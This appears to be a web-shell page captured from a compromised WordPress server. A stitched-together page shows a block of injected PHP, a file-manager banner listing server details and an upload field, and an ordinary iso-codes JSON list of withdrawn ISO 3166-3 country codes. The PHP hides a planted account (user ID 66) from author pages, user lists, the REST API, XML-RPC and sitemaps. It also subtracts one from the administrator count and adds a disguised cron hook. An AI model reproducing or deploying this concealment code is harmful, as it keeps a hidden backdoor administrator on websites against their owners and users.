add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/iso-codes/json/ |
Upload File : |
{
"3166-3": [
{
"alpha_2": "AI",
"alpha_3": "AFI",
"alpha_4": "AIDJ",
"name": "French Afars and Issas",
"numeric": "262",
"withdrawal_date": "1977"
},
{
"alpha_2": "AN",
"alpha_3": "ANT",
"alpha_4": "ANHH",
"comment": "had numeric code 532 until Aruba split away in 1986",
"name": "Netherlands Antilles",
"numeric": "530",
"withdrawal_date": "2010-12-15"
},
{
"alpha_2": "BQ",
"alpha_3": "ATB",
"alpha_4": "BQAQ",
"name": "British Antarctic Territory",
"withdrawal_date": "1979"
},
{
"alpha_2": "BU",
"alpha_3": "BUR",
"alpha_4": "BUMM",
"name": "Burma, Socialist Republic of the Union of",
"numeric": "104",
"withdrawal_date": "1989-12-05"
},
{
"alpha_2": "BY",
"alpha_3": "BYS",
"alpha_4": "BYAA",
"name": "Byelorussian SSR Soviet Socialist Republic",
"numeric": "112",
"withdrawal_date": "1992-06-15"
},
{
"alpha_2": "CS",
"alpha_3": "CSK",
"alpha_4": "CSHH",
"name": "Czechoslovakia, Czechoslovak Socialist Republic",
"numeric": "200",
"withdrawal_date": "1993-06-15"
},
{
"alpha_2": "CS",
"alpha_3": "SCG",
"alpha_4": "CSXX",
"name": "Serbia and Montenegro",
"numeric": "891",
"withdrawal_date": "2006-09-26"
},
{
"alpha_2": "CT",
"alpha_3": "CTE",
"alpha_4": "CTKI",
"name": "Canton and Enderbury Islands",
"numeric": "128",
"withdrawal_date": "1984"
},
{
"alpha_2": "DD",
"alpha_3": "DDR",
"alpha_4": "DDDE",
"name": "German Democratic Republic",
"numeric": "278",
"withdrawal_date": "1990-10-30"
},
{
"alpha_2": "DY",
"alpha_3": "DHY",
"alpha_4": "DYBJ",
"name": "Dahomey",
"numeric": "204",
"withdrawal_date": "1977"
},
{
"alpha_2": "FQ",
"alpha_3": "ATF",
"alpha_4": "FQHH",
"comment": "now split between AQ and TF",
"name": "French Southern and Antarctic Territories",
"withdrawal_date": "1979"
},
{
"alpha_2": "FX",
"alpha_3": "FXX",
"alpha_4": "FXFR",
"name": "France, Metropolitan",
"numeric": "249",
"withdrawal_date": "1997-07-14"
},
{
"alpha_2": "GE",
"alpha_3": "GEL",
"alpha_4": "GEHH",
"comment": "now split into Kiribati and Tuvalu",
"name": "Gilbert and Ellice Islands",
"numeric": "296",
"withdrawal_date": "1979"
},
{
"alpha_2": "HV",
"alpha_3": "HVO",
"alpha_4": "HVBF",
"name": "Upper Volta, Republic of",
"numeric": "854",
"withdrawal_date": "1984"
},
{
"alpha_2": "JT",
"alpha_3": "JTN",
"alpha_4": "JTUM",
"name": "Johnston Island",
"numeric": "396",
"withdrawal_date": "1986"
},
{
"alpha_2": "MI",
"alpha_3": "MID",
"alpha_4": "MIUM",
"name": "Midway Islands",
"numeric": "488",
"withdrawal_date": "1986"
},
{
"alpha_2": "NH",
"alpha_3": "NHB",
"alpha_4": "NHVU",
"name": "New Hebrides",
"numeric": "548",
"withdrawal_date": "1980"
},
{
"alpha_2": "NQ",
"alpha_3": "ATN",
"alpha_4": "NQAQ",
"name": "Dronning Maud Land",
"numeric": "216",
"withdrawal_date": "1983"
},
{
"alpha_2": "NT",
"alpha_3": "NTZ",
"alpha_4": "NTHH",
"comment": "formerly between Saudi Arabia and Iraq",
"name": "Neutral Zone",
"numeric": "536",
"withdrawal_date": "1993-07-12"
},
{
"alpha_2": "PC",
"alpha_3": "PCI",
"alpha_4": "PCHH",
"comment": "divided into FM, MH, MP, and PW",
"name": "Pacific Islands (trust territory)",
"numeric": "582",
"withdrawal_date": "1986"
},
{
"alpha_2": "PU",
"alpha_3": "PUS",
"alpha_4": "PUUM",
"name": "US Miscellaneous Pacific Islands",
"numeric": "849",
"withdrawal_date": "1986"
},
{
"alpha_2": "PZ",
"alpha_3": "PCZ",
"alpha_4": "PZPA",
"name": "Panama Canal Zone",
"withdrawal_date": "1980"
},
{
"alpha_2": "RH",
"alpha_3": "RHO",
"alpha_4": "RHZW",
"name": "Southern Rhodesia",
"numeric": "716",
"withdrawal_date": "1980"
},
{
"alpha_2": "SK",
"alpha_3": "SKM",
"alpha_4": "SKIN",
"name": "Sikkim",
"withdrawal_date": "1975"
},
{
"alpha_2": "SU",
"alpha_3": "SUN",
"alpha_4": "SUHH",
"name": "USSR, Union of Soviet Socialist Republics",
"numeric": "810",
"withdrawal_date": "1992-08-30"
},
{
"alpha_2": "TP",
"alpha_3": "TMP",
"alpha_4": "TPTL",
"comment": "was Portuguese Timor",
"name": "East Timor",
"numeric": "626",
"withdrawal_date": "2002-05-20"
},
{
"alpha_2": "VD",
"alpha_3": "VDR",
"alpha_4": "VDVN",
"name": "Viet-Nam, Democratic Republic of",
"withdrawal_date": "1977"
},
{
"alpha_2": "WK",
"alpha_3": "WAK",
"alpha_4": "WKUM",
"name": "Wake Island",
"numeric": "872",
"withdrawal_date": "1986"
},
{
"alpha_2": "YD",
"alpha_3": "YMD",
"alpha_4": "YDYE",
"name": "Yemen, Democratic, People's Democratic Republic of",
"numeric": "720",
"withdrawal_date": "1990-08-14"
},
{
"alpha_2": "YU",
"alpha_3": "YUG",
"alpha_4": "YUCS",
"comment": "had numeric code 890 until the 'Socialist Federal Republic of Yugoslavia' formerly broke apart on 27 April 1992 and the 'Federal Republic of Yugoslavia' was founded",
"name": "Yugoslavia, (Socialist) Federal Republic of",
"numeric": "891",
"withdrawal_date": "2003-07-23"
},
{
"alpha_2": "ZR",
"alpha_3": "ZAR",
"alpha_4": "ZRCD",
"name": "Zaire, Republic of",
"numeric": "180",
"withdrawal_date": "1997-07-14"
}
]
}